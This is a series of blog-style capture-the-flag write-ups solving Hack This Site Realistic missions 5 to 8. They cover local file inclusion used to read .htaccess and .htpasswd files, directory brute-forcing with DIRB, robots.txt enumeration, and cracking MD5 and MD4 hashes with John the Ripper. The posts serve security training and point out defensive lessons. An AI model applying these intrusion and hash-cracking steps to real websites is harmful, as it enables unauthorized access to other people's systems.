The cookie manipulation that was used to transfer the funds was a fun technique to use. It’s an example of why session tokens and Anti-Cross-Site Request Forgery tokens are important. By having unique non-descript cookies, and server-side checks to verify those cookies, you ensure that malicious threat actors can’t hijack other user’s sessions or in this case, impersonating a user and submitting data.

The directory manipulation on the clear log files form was another great example of why anything being transmitted from the user’s browser shouldn’t be trusted. The data could be manipulated and have unexpected consequences. This could be mitigated by using a session token to reference properties stored in a server-side cache. It could also be mitigated by validating the values before processing them.

Anyway, I hope you enjoyed this post. Come back next time where we will look at realistic 9.

Hack This Site: Realistic Web Mission – Level 7

Hello world, welcome to haxez where today we’re looking at the Hack This Site Realistic Web Mission Level 7. This challenge was a lot of fun. Regardless of how old Hack This Site is, it’s still one of the most immersive platforms for testing your hacking skills. The techniques used are still relevant today. However, a lot of the vulnerabilities you would certainly hope not to find on big corporate websites. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, Part 5, and Part 6.

Realistic 7 What’s Right For America
What’s Right For America

Realistic 7 Introduction

Navigating to this challenge, you will be sent a message from FreedomOfChoice. To paraphrase the message, they explain how they have found a hate speech website that’s asking for a hacking. The website is a homophobic website that likes to dictate how other people should live their lives. What’s concerning is how these issues are still relevant today despite these challenges being as old as they are. Progress is slow I guess. I digress, FreedomOfChoice would like us to hack into the admin area of the website which he suggests is hidden in the directory structure somewhere.

Realistic 7 Message From FreedomOfChoice
Message From FreedomOfChoice

Exploring The Realistic 7 Web Application

Upon visiting the application we are presented with the standard hate speech that the internet could use less of. That’s ok though, through our efforts this website is going to cease to exist. At first glance, the website appears to be fairly basic with only a few hyperlinks. We will need to delve a little deeper into the dark recesses of the application to find something we can exploit.

Realistic 7 Web Application
Web Application

After clicking around the application, I noticed that it’s calling image files in a peculiar way. It’s peculiar because it appears to be performing local file inclusion to access a text file. The local file inclusion immediately sets off alarm bells. As you can see the showimages.php script has a parameter called file, which is calling patriot.txt.

Realistic 7 Web Application — File Parameter
Web Application — File Parameter

If we navigate to patriot.txt, we can see that it has a list of images that are in the images directory. This is an odd way to embed images into a website. Perhaps, we can use it to our advantage.

Realistic 7 Web Application — Patriot.txt
Web Application — Patriot.txt

Realistic 7 Web Directory Listing Enabled

Navigating to the images directory and we have scored. As you can see, the image below shows a directory listing is enabled. Please note, One important element of Cyber Security is minimizing information disclosure. Having directory listing enabled could divulge information about the application such as its structure, the technologies being used, and even disclose other sensitive information through readable files. There appears to be an admin directory.

Web Application — Directory Listing
Web Application — Directory Listing

Attempting to access the admin directory gives us the expected Unauthorized error message. However, the login prompt appears to be being generated by an htaccess and htpasswd file combination. Previously, other challenges we have seen used an SQL-backed application login.

Web Application — Authentication Failure
Web Application — Authentication Failure

Exploiting The Web Application

At this point, it’s safe to assume that the application is using htpasswd for authentication. We also know that the file parameter was performing local file inclusion to get the image files. To summarise, perhaps we can use the local file inclusion to our advantage and list out the contents of the admin directory without authenticating.

In order to test this, I used a tool called DIRB. DIRB is a directory and file brute-forcing tool. The location of the admin directory is in /images/admin so I told DIRB to search that directory through the showimages.php?file= parameter.

Web Application — DIRB Directory Brute Force
Web Application — DIRB Directory Brute Force

Web Local File Inclusion

The image above shows the results from running DIRB. as you can see, DIRB found both the htaccess and htpasswd files hidden in the admin directory. What this also means, is that we can use the showimages.php?file= parameter to read the contents of those files. Let’s start with the htaccess file. As you can see from the picture below, the htaccess file is referencing the htpasswd file. This confirms our suspicion that it was being used for authentication.

Web Application — .htaccess File
Web Application — .htaccess File

Now, if we go and look at the htpasswd file. We can see that the htpasswd file contains a password hash for the administrator user. Perhaps, we can crack this password hash and use it to log in to the admin area of the application.

Web Application — .htpasswd File
Web Application — .htpasswd File

Hash Cracking

With the hash saved in a file called hash.txt, we spin up our Linux ParrotOS virtual machine and ask our dear old friend John The Ripper to crack it for us. I didn’t supply any flags, I just pointed John at the file and he got to work. John quickly identified that it was an MD5 hash. John also cracked the password surprisingly quickly given I was running it on a virtual machine. However, I assume that shadow is fairly high up in the default wordlist.

John The Ripper — Hash Cracking
John The Ripper — Hash Cracking

With the hash cracked and the password saved, we can navigate back to the /images/admin directory and see if our newly acquired administrator password works. When the login box pops up, input administrator for the username and shadow for the password. Click Sign In and you should be authenticated.

Web Application — Authenticating
Web Application — Authenticating

And with that, you should be done, congratulations you have now completed a realistic 7.

Congratulations
Congratulations

Conclusion

There is a fair bit to break down in this mission. Let’s get directory listing out the way as it’s something we have touched on before. Directory listing can expose sensitive information to the public. It’s fairly easy to turn off on most web servers and doing so will limit the amount of information a malicious actor could obtain about the environment.

Local file inclusion was the next technique that we used to gather information about the application. I’m pleased to see that the application was using the relative path rather than the absolute path. This minimized information disclosure but the problem was with the way the application was calling the image files. Rather than hard-coding them into the source, it was using a parameter. This allowed us to exploit the trust of that parameter and use it to call other files on the webserver.

Permissions were also lax. The parameter allowed us to access files that were in the admin directory which shouldn’t have been possible.

Anyway, I feel a bit like captain hindsight so with the challenge complete I hope you enjoyed this post. Check back soon for more hacking.

Hack This Site: Realistic Web Mission – Level 6

Hello world, welcome to haxez where today we’re looking at Hack This Site Realistic Web Mission Level 6. I’ve been putting this mission on hold to try and write a bash script to decrypt the encryption. However, after several attempts at writing it and not making much progress, I decided to use somebody else’s script. I understand how the algorithm works and how to reverse it. However, writing something to reverse was proving harder than anticipated. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2, Part 3, Part 4, and Part 5.

Realistic 6 ToxiCo Industrial Chemicals
ToxiCo Industrial Chemicals

Realistic 6 Introduction

We have a message from ToxiCo_Watch. They explain that they have been sniffing their companies network due to a toxic waste scandal. They believe that the company has paid off the inspectors but want evidence to prove it. During their network sniffing, they were able to capture, what they believe to be an encrypted message. However, they are having trouble decoding the message and have asked us to help.

Realistic 6 Message From ToxiCo_Watch
Message From ToxiCo_Watch

Realistic 6 Encrypted Message

ToxiCo_Watch has provided us with a link to a web application that contains the encoded message. The application also contains a link to the web application tool used to encode it. You can see from the image below that the message appears to be a full stop followed by three numbers. This pattern repeats until the end of the message.

Realistic 6 Encoded Message
Encoded Message

Web Encryption Tool

If we head over to the link provided, we have an input box for the text to be encrypted. We also have an input box for the encryption password. If we submit a value without a password, we get some numbers at the top of the screen (4, 44, 49). If we add these numbers together we get 97. 97 is the ASCII decimal number for the letter A, we can repeat this process for other letters and get their corresponding ASCII decimal values returned. However, when we add a value to the encryption password box, the value changes. The value supplied to the encryption password box is also being converted to an ASCII decimal which is being added to the value of the submitted text ASCII value. It is then being split into three numbers which when calculated equals the ASCII value of the text plus the encryption password.

Web Encryption Tool
Web Encryption Tool

Web Decryption Tool

Provided I explained the encryption process well enough, I should be able to explain how to decrypt it. First, I was going to copy the encoded message into a text file. Second, I was going to use sed to remove the full stops or periods. Third, I was going to use a loop with “expr substr” to pull 3 characters from the file. I was also going to us a variable that incremented 3 digits to jump to the next three characters. Fourth, I was going to calculate the value of the three numbers. Fith, I was going to subtract an incrementing value (representing the encryption password) from the total value. The script would then echo the results to the terminal.

This should have allowed me to identify the correct conversion. However, the script hasn’t gone as planned. I haven’t had as much time to work on it as I would have liked due to other commitments. Fortunately, my programming incompetence can be bypassed by using somebody else’s programming genius. Graeme Robinson’s blog has a great JavaScript solution which we can use to decode the message.

Web Decryption Tool
Web Decryption Tool

Emailing The Client

Once we have the decoded information, we can send it in a message to ToxiCo_Watch. This should complete the challenge. I hope you can forgive me for not writing my own script to solve this one. I had a basic proof of concept ready but just haven’t had the time to complete it. Perhaps I will in the future and then update this blog.

Emailing The Client
Emailing The Client

Hack This Site: Realistic Web Mission – Level 5

Hello world, welcome to haxez where today we’re are looking at Hack This Site Realistic Mission 5. This is a fun challenge that requires you to enumerate the web application and then cracked the discovered hashes. In order to solve this mission, you will need some basic knowledge of how Linux web servers work and some knowledge of what password hashes are and how to crack them. If you haven’t seen my other posts on the realistic series you can do so here: Part 1, Part 2 and Part 3.

Realistic 5 Web Mission  Damn Telemarketers
Realistic Web Mission — Level 5 Damn Telemarketers

The purpose of this mission is to hack a password for a telemarkets website. With that password, we are to desotry the database thus restoring privacy to the lives of their victims. In order to get the password, we will need to explore the web application to look for clues. Upon logging in we receive the following communication from

Realistic 5 Message From Spiffomatic64
Message From Spiffomatic64

Exploring The Realistic 5 Web Appliation

Spiffomatic64 has given us a link to the telemarketer’s application. Visting the web application presents us with the page depicted in the image below. The application has some basic functionality such as a news page, a contact page, and a database page.

Realistic 5 Main Web Application Page
Main Web Application Page

Navigating to the news page tells us a lot about the application. Probably more than the creator should have told us. For instance, they inform us that the website was previously hacked. They also inform us that google was grabbing links it shouldn’t so they have taken extra precautions. In order to stop google indexing certain parts of a web application, you can add a Robots Exclusion Standard file to the root of your domain. By adding URLs to the robots.txt file you are telling Google you don’t want those URL’s indexed the next time it crawls the application.

Main Web Application News Feed
Main Web Application News Feed

Delving Deeper

Navigating to the robots.txt file we can see that the file is telling all User-Agent (denoted with the asterisk) to disallow indexing of /lib and /secret. Search engine spiders have their own User-Agents that allow applications to identify them and whitelist them. See my post on User-Agent switching on how this could be abused.

Main Web Application Robots.txt
Main Web Application Robots.txt

Navigating to each of these directories reveals some interesting files. Firstly, in the secrets directory, we have an admin.bak.php file and an admin.php file. We can deduce that the admin.bak.php is likely a backup of the admin.php file. Attempting to access the admin.php file results in an incorrect password warning. This allows us to conclude that the admin.php page is the page we’re attempting to gain access to.

Secret Directory Listing
Secret Directory Listing

Moving forward, let’s take a look at the admin.bak.php file. I’ve downloaded a copy of this file to my virtual machine and used the cat command to display the contents. We can see from the file that there is a reference to MD4. MD4 is a hashing algorithm that was used to hash passwords. Hashing passwords attempts to protect passwords in the event that they are leaked.

Backup Admin.php File MD4 Hash
Backup Admin.php File MD4 Hash

The Application Hack

Going back to the robots.txt file there was another directory called lib. Navigating to this directory shows a file called hash. If we download this file and view the contents it appears as if we have recovered a password hash of “51ba17c17338c1031e11432dfb47105a”.

Lib DIrectory Listing
Lib DIrectory Listing

Based on the information we found in the admin.bak.php file, we can safely assume that the hash is an MD4 . Fortunately, MD4’s are a fairly old hashing algorithm and can be cracked easily. I attempted to crack the hash online using crackstation.net and a few other sites but it appears the sneaky admin’s over at Hack This Site like to change the hashes periodically, and this hash hadn’t been cracked before. So in order to crack the hash we needed to contact our old friend John. Using John The Ripper I specified the format of MD4 and told John which file to crack. Normally I would specify a wordlist but I left John to use his default one. The command to crack the hash is as follows.

john --format=raw-MD4 <file-to-crack>
Hash Cracking MD4 With John The Ripper
Hash Cracking MD4 With John The Ripper

Once the correct password has been recovered, you can head over to the database link on the main page and paste it in. This should complete the mission.